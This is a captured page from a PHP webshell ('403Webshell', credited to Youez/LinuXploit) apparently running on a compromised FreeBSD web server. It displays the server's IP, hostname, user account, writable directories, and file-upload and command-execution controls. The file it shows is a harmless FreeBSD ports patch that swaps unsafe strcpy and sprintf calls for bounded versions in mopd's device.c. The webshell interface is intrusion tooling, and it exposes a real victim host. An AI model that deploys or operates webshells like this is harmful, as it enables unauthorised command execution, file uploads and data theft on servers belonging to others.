403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/mopd/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/mopd/files/patch-common_device.c
--- common/device.c.orig	1996-08-08 00:01:54 UTC
+++ common/device.c
@@ -35,7 +35,7 @@ static char rcsid[] = "$Id: device.c,v 1.21 1996/08/08
 #include "common/common.h"
 #include "common/mopdef.h"
 
-struct	if_info *iflist;		/* Interface List		*/
+/*extern*/ struct if_info *iflist;		/* Interface List		*/
 
 void mopReadDL();
 void mopReadRC();
@@ -111,7 +111,8 @@ deviceOpen(ifname, proto, trans)
 {
 	struct if_info *p, tmp;
 
-	strcpy(tmp.if_name,ifname);
+	strncpy(tmp.if_name,ifname,sizeof(tmp.if_name) - 1);
+	tmp.if_name[sizeof(tmp.if_name) - 1] = 0;
 	tmp.iopen   = pfInit;
 	
 	switch (proto) {
@@ -138,7 +139,8 @@ deviceOpen(ifname, proto, trans)
 		p->next = iflist;
 		iflist = p;
 
-		strcpy(p->if_name,tmp.if_name);
+		strncpy(p->if_name,tmp.if_name, IFNAME_SIZE -1);
+		p->if_name[IFNAME_SIZE -1] = 0;
 		p->iopen   = tmp.iopen;
 		p->write   = pfWrite;
 		p->read    = tmp.read;
@@ -185,12 +187,12 @@ deviceInitOne(ifname)
 	if ((strlen(dev) == 2) &&
 	    (dev[0] == 'e') &&
 	    ((dev[1] == 'n') || (dev[1] == 't'))) {
-		sprintf(interface,"ent%d\0",unit);
+		snprintf(interface,sizeof(interface),"ent%d\0",unit);
 	} else {
-		sprintf(interface,"%s%d\0",dev,unit);
+		snprintf(interface,sizeof(interface),"%s%d\0",dev,unit);
 	}
 #else
-	sprintf(interface,"%s",ifname);
+	snprintf(interface,sizeof(interface),"%s",ifname);
 #endif /* _AIX */
 
 	/* Ok, init it just once */

Youez - 2016 - github.com/yon3zu
LinuXploit